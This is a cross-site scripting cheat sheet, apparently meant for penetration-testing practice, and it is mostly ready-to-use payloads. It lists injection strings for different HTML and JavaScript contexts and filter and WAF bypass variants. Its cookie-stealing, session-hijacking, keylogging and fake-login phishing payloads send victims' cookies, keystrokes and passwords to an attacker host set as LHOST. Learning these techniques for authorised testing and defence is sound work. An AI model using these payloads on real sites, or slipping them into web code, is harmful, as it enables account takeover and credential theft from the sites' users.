Cross-Site Scripting (XSS)
XSS occurs when an application includes untrusted data in web output without proper validation or escaping, allowing an attacker to execute JavaScript in another user's browser.
Reference: https://portswigger.net/web-security/cross-site-scripting
# Set environment variables
export TARGET=<ip>
export LHOST=<your-ip>
export LPORT=4444
XSS Types
Reflected XSS
The malicious script is part of the request (usually a URL parameter) and reflected back in the response. The victim must click a crafted link for it to execute. Most common XSS type.
Example — a search page that reflects the query in the response:
http://$TARGET/search?q=<script>alert(1)</script>
Stored XSS
The malicious script is permanently stored on the target server (in a database, comment field, forum post, etc.) and executes every time a user views the affected page. Higher impact than reflected since it doesn't require user interaction beyond visiting the page.
Example — injecting into a comment field:
<script>document.location='http://$LHOST/steal?c='+document.cookie</script>
DOM-Based XSS
The vulnerability exists in client-side JavaScript rather than server-side code. The payload never reaches the server — the DOM is modified directly by JavaScript on the page.
Look for JavaScript that reads from controllable sources (document.location, document.URL, document.referrer, window.name) and writes to executable sinks (innerHTML, eval(), document.write()).
Testing Methodology
Identify Input Points
Test every location where user input is reflected in the page: URL parameters, form fields, HTTP headers (Referer, User-Agent), cookie values, file upload filenames, and JSON/XML request bodies.
Basic Probe
Start with a simple payload to determine if input is reflected without filtering:
<script>alert(1)</script>
If that's blocked or filtered, try variations:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
Determine Context
Where your input appears in the HTML determines which payloads will work:
Inside HTML tags — inject new tags:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
Inside an HTML attribute — break out of the attribute:
" onmouseover="alert(1)
" onfocus="alert(1)" autofocus="
Inside JavaScript code — break out of the string:
';alert(1);//
'-alert(1)-'
\';alert(1);//
Inside a JavaScript template literal — use ${} syntax:
${alert(1)}
Common Payloads
Proof of Concept
Simple popup to confirm the vulnerability exists:
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
Use alert(document.domain) instead of alert(1) — it proves execution in the correct origin, which is more meaningful in a report.
Cookie Stealing
Redirect the victim's cookies to your server:
<script>document.location='http://LHOST/steal?c='+document.cookie</script>
Using fetch (doesn't navigate the user away):
<script>fetch('http://LHOST/steal?c='+document.cookie)</script>
Using an image tag (avoids CORS issues):
<script>new Image().src='http://LHOST/steal?c='+document.cookie</script>
Catch the cookies on Kali:
python3 -m http.server 80
If the cookie has the HttpOnly flag, JavaScript cannot access it via document.cookie. In this case, look for other ways to leverage the XSS (session riding, keylogging, phishing).
Session Hijacking
Steal the session token and use it to impersonate the victim. After capturing the cookie, set it in your browser using developer tools or a cookie editor extension, then refresh the page.
Keylogging
Capture everything the victim types:
<script>
document.onkeypress = function(e) {
new Image().src = 'http://LHOST/log?key=' + e.key;
}
</script>
Phishing via XSS
Inject a fake login form that sends credentials to your server:
<script>
document.body.innerHTML = '<h2>Session Expired - Please Log In Again</h2><form action="http://LHOST/phish" method="POST"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form>';
</script>
Filter Bypass Techniques
Case Variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>
No Parentheses
When () are blocked:
<script>alert`1`</script>
<img src=x onerror=alert`1`>
No Quotes
<img src=x onerror=alert(1)>
<svg onload=alert(String.fromCharCode(88,83,83))>
Encoding
HTML entity encoding:
<img src=x onerror=alert(1)>
URL encoding (for URL-based injection):
%3Cscript%3Ealert(1)%3C/script%3E
Double URL encoding (when the server decodes twice):
%253Cscript%253Ealert(1)%253C/script%253E
Unicode encoding:
<script>\u0061lert(1)</script>
Tag and Event Alternatives
When <script> is blocked, use alternative tags and event handlers:
<svg/onload=alert(1)>
<body/onload=alert(1)>
<input/onfocus=alert(1) autofocus>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<math><mtext><table><mglyph><svg xmlns="http://www.w3.org/2000/svg"><rect onmouseover="alert(1)"/>
Breaking Out of JavaScript Strings
';alert(1);//
\';alert(1);//
</script><script>alert(1)</script>
Using eval and Alternative Execution
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
WAF Bypass with Obfuscation
<img src=x onerror="window['al'+'ert'](1)">
<img src=x onerror="top['al'+'ert'](1)">
<img src=x onerror="self['\x61lert'](1)">
XSS to RCE Chains
XSS alone is a client-side attack, but it can be chained with other vulnerabilities for higher impact.